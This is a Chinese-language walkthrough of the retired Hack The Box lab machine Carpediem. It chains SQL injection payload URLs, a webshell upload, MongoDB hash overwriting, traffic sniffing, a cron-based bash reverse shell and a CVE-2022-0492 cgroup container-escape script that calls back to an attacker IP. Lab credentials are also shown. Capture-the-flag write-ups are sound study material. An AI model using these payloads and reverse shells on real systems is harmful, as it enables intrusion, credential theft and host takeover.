概述 (Overview)
HOST: 10.10.11.167
OS: LINUX
发布时间: 2022-06-25
完成时间: 2022-07-11
机器作者: ctrlzero & && TheCyberGeek
困难程度: HARD
机器状态: 退休
MACHINE TAGS: #Fuzzing #SQLi #Tunnel #DockerAbuse #MongoDB #Capabilities
攻击链 (Kiillchain)
HTB 关于 Carpediem
Carpediem 是一个 HARD 难度 Linux 机器,专注于枚举、网络开发、VoIP、网络嗅探和容器突破。最初的立足点是通过滥用定制网络应用程序中一些仍在开发中的功能,访问管理仪表板,通过修改 POST 请求上传 WebShell,从而在 Docker 容器内执行任意代码。枚举 Trudesk 票据可获得 VoIP 凭据,进而通过监听语音邮件信息获取用户密码,从而以低权限的 SSH 访问系统。嗅探 TLS 加密流量会显示访问 Backdrop CMS 内部实例的凭据,通过上传自定义模块可在第二个容器上执行远程命令。利用以 root
权限只执行的cron任务,可提升容器內的权限,最后通过利用 CVE-2022-0492 逃逸容器,取得主机的 root
权限。
枚举(Enumeration)
老样子,初始条件下使用 Nmap 对目标服务器开放端口进行扫描。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
| 256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
|_ 256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Comming Soon
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
得到的信息有限仅对外暴漏了两个端口。
Port 80 - carpediem.htb
使用浏览器访问服务器的 80 端口,在首页中能够得到一个一级域名 carpediem.htb
。
简单预览下没有其他的收获,转而使用 gobuster
工具枚举了一下二级域名,发现存在一个叫 portal.carpediem.htb
的站点。
Port 80 - portal.carpediem.htb
预览该站功能发现能够创建新用户,随手注册一个进行登录。
登录后在网站源代码中能够找到 */admin/*
路径,但当进行访问时会提示无权限。
立足点(Foothold)
留意参数提交请求,在修改账号功能中发现一个 login_type
参数前端隐藏了,推测该参数可能是用来区分是否为管理员登录类型用的。
通过 Burp 重放请求将参数替换为 login_type=1
,获得新会话后发现够顺利进入控制台面板。检查菜单中的功能发现存在一个 SQL 注入。
利用点在用户详情预览:
http://portal.carpediem.htb/admin/bookings/view_booking.php?view=user&id=10
简单测试后确认 SQL 语句的回显内容,通过利用 order by
语句判断 SQL 查询字段整体长度后,构建连接查询语句就能获取到预期结果。
http://portal.carpediem.htb/admin/bookings/view_booking.php?view=user&id=10' order by 14--+-
http://portal.carpediem.htb/admin/bookings/view_booking.php?view=user&id=' union select 1,2,3,4,5,6,7,8,9,10,11,12,(select @@version),14 --+-
利用 SQL 注入就能成功获取 someone 帐号的密码哈希值,放 cmd5 上查询到明文密码就是 password
。
id,avatar,gender,address,contact,lastname,password,username,firstname,date_added,last_login,login_type,date_updated
1,uploads/1635793020_HONDA_XADV.png,Male,<blank>,jhammond@carpediem.htb,1,admin,<blank>,Jeremy,2021-01-20 14:02:37,Hammond,b723e511b084ab84b44235d82da572f3,2022-04-01 23:34:50
someone,someone,25,x,2022-07-08 21:43:39,5f4dcc3b5aa765d61d8327deb882cf99 (password),<blank>,<blank>,Male,2022-07-08 21:44:11,1,someone,someone
2,test,test,test,2022-07-09 18:05:07,test,<blank>,<blank>,26,test,098f6bcd4621d373cade4e832627b4f6 (test),<blank>,Male
使用 admin 帐号进行登录后页面会强制跳转,在 burp 中看页面源代码是发现是存在 location.href
函数导致浏览器跳转了。写一条 burp 的 replace rule 规则,将其替换掉就可以了。
在用户中心中发现存在图片上传,经过多次错误反馈进行调整,成功上传 webshell:
利用该脚本进行命令执行,成功获得一个反弹 shell 拿到初步立足点。
横向移动(Lateral Movement)
看了一眼根目录文件, /.dockerenv
存在说明当前在shell处于容器中。查看IP段信息容器段为 172.17.0.1/24
,将隧道工具 chisel 传递至容器内运行连接 kali,随后进行内网端口扫描。
配置好 proxychains 后使用 Nmap 扫描内网段得到多台存活主机及端口;
$ proxychains4 nmap -p- -sT -sV --top-ports 100 -Pn --min-rate 2000 -v 172.17.0.1-10
Nmap scan report for 172.17.0.1
Host is up (0.22s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 172.17.0.3
Host is up (0.22s latency).
Not shown: 99 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.27
Nmap scan report for 172.17.0.4
Host is up (0.22s latency).
Not shown: 97 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.48 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.48 ((Ubuntu))
Service Info: OS: Unix
Nmap scan report for 172.17.0.6
Host is up (0.22s latency).
Not shown: 99 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
Service Info: Host: 172.17.0.6
在 172.17.0.4 上运行着一个 Web 服务,访问它得到一个新的域名 backdrop.carpediem.htb
,在页面中也能知道应用使用的 CM 系统叫 Backdrop CMS
。
顺着思路首先去寻找该应用的历史漏洞,发现存在一个 CSRF 到 RCE 的组合漏洞 CVE-2021-45268,但是折腾了很久找不利用点就放弃了。最后在 portal.carpediem.htb
的项目代码中发现了新子域名 trudesk.carpediem.htb
。
通过站点信息进行搜索发现使用的是一个叫 trudesk 的 Web 系统,看下来就是一个在线聊天的应用。对于该应用的 API 的请求操作可以通过它的在线文档来进行了解。
https://docs.trudesk.io/v1/api/#Authentication
在文档中可以获知到它使用的是 MongoDB 做为数据库,在代理中用 nmap 进行扫描得不到返回结果,只好挨个手动试试。
使用 proxychains mongo 172.17.0.2
命令连接 MongoDB 发现成功,不存在访问认证。挨个检查数据内的内容,在 accounts 库中能够找到很多内容其中包含密码 hash。
> db.accounts.find('',{password:1,username:1})
{ "_id" : ObjectId("6243c0be1e0d4d001b0740d4"), "username" : "jhammond", "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq" }
{ "_id" : ObjectId("6243c28f1e0d4d001b0740d6"), "username" : "jpardella", "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK" }
{ "_id" : ObjectId("6243c3471e0d4d001b0740d7"), "username" : "acooke", "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s." }
{ "_id" : ObjectId("6243c69d1acd1559cdb4019b"), "username" : "svc-portal-tickets", "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW" }
在 tickets 库中能找到很多记录详情,留意到其中有提到语音信箱,手机 pin code
为 2022
,语言信箱登录名是 9650
。
尝试碰撞 bcrypt hash 还原明文密码失败,改为直接修改指定用户的 bcrypt hash。使用 https://bcrypt-generator.com/ 进行自定义密码 hash 在线生成。
$2a$10$lw3Dyou/fEBAk6aSSN/6a.PrQsrGxXunlHsyY3c7IvOy2j8IAJ3nS:123456
db.getCollection("accounts").update({_id: ObjectId("6243c28f1e0d4d001b0740d6")},{$set :{"password":"$2a$10$lw3Dyou/fEBAk6aSSN/6a.PrQsrGxXunlHsyY3c7IvOy2j8IAJ3nS"}});
登录 trudesk 系统后能在里面发现一条新消息,关于新员工入职:
谢谢!他已经准备就绪,随时可以出发。当他第一天到办公室时,让他先登录自己的手机。然后给他留个语音信箱,告诉他服务器访问的初始密码。进入服务器。他的手机密码是 2022,要进入语音信箱他可以拨打 *62 另外......让他知道,如果他想使用桌面软电话,我们已经对一些最终用户进行了 Zoiper 测试。将此单据的状态更改为待处理,直到他完成设置并更改初始凭证并更改他的初始凭证。
所以要得到服务器密码需要用 Zoiper 进行拨号,因为我的 kali 是 arm64 所以安装不了,转到 Macos 上去使用客户端。
创建一个免费的帐号并使用 SIP 凭证登录方式连接 carpediem.htb
服务器。
随后进行语言拨号 *62
中途会提示让输入 PIN Code
因为本人英语比较渣听力不行,直接采用场外求助的方式。在网上找到可以使用 Wireshark 抓取该软件的语音信息。
它这里用的是 RTP 协议播放的语音文件,抓取后进行导出就能播放。
求助场外支援:
hflaccus:AuRj4pxq9qPk
$ sshpass -p 'AuRj4pxq9qPk' ssh hflaccus@10.10.11.167
使用改组帐号密码成功登录目标服务器。
首先检查可登录用户,发现有多个:
hflaccus@carpediem:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
hflaccus:x:1000:1000:Quintus Horatius Flaccus:/home/hflaccus:/bin/bash
rfrost:x:1002:1002:Robert Frost:/home/rfrost:/bin/bash
jhammond:x:1003:1003:Jeremy Hammond:/home/jhammond:/bin/bash
jpardella:x:1004:1004:Joey Pardella:/home/jpardella:/bin/bash
将 linpeas 上传至目标服务器上运行进行深度的信息收集,发现 tcpdump 是可以被使用的。
可以在 /etc/ssl/certs
目录中找到一个凭证,这意味我们可以嗅探抓取下一 backdrop.carpediem.htb
的流量包,然后从中分析出后续利用的信息。
运行 tcpdump
一段时间后,将保存的 .pcap 包下载至本地进行分析。此时能看到容器和物理机之间有加密通信。
将之前的私钥载入至 wireshark 成功解密流量内容:
POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128
name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in
使用前面的隧道工具,将 backdrop 站的端口转发至本地,浏览器登录后成功进入系统控制面板。
Backdrop CMS 当前的版本是 1.21.4 ,这里可以用到前面提到的那个 CVE-2021-45268,通过查看 github 上的 payload 部分找到上传插件的功能进行操作,成功上传 webshell。
权限提升(Privilege Escalation)
运行 ps
指令查看进程,发现 root 存在一个 heartbeat.sh
的脚本在运行。
脚本先验证了 backdrop.sh 文件的 md5hash 如果一致则会执行它,backdrop.sh 文件内容可以在 github 找到。内容实际是一个 php 脚本,主要的用途是获取远程路径内容并 execute
。我们可以利用这点替换路径中的 index.php
写一段反弹 shell ,就能提权至 root 了。
# 准备脚本内容
nohup bash -c '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' > /dev/null 2>&1 &
cd /var/www/html/backdrop/ && rm index.php && wget <IP>/shell.php && mv shell.php index.php
成功获得了这台容器的 root 权限,接着就是找找看有没逃逸至物理机的路径了。将容器逃逸检查脚本 deepce.sh 传递至容器中执行:
注意到 Capabilities 中有个 cap_sys_admin
,顺着这个找发现容器存在 CVE-2022-0492 漏洞。顺着再去找 POC 能得到这篇文章:
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
利用文中的 payload 成功完成容器逃逸,获得物理机 root shell 。
(remote) root@90c7f522b842:/tmp# unshare -UrmC bash
root@90c7f522b842:/tmp# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "nohup bash -c '/bin/bash -i >& /dev/tcp/10.10.14.11/9090 0>&1' > /dev/null 2>&1 & > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"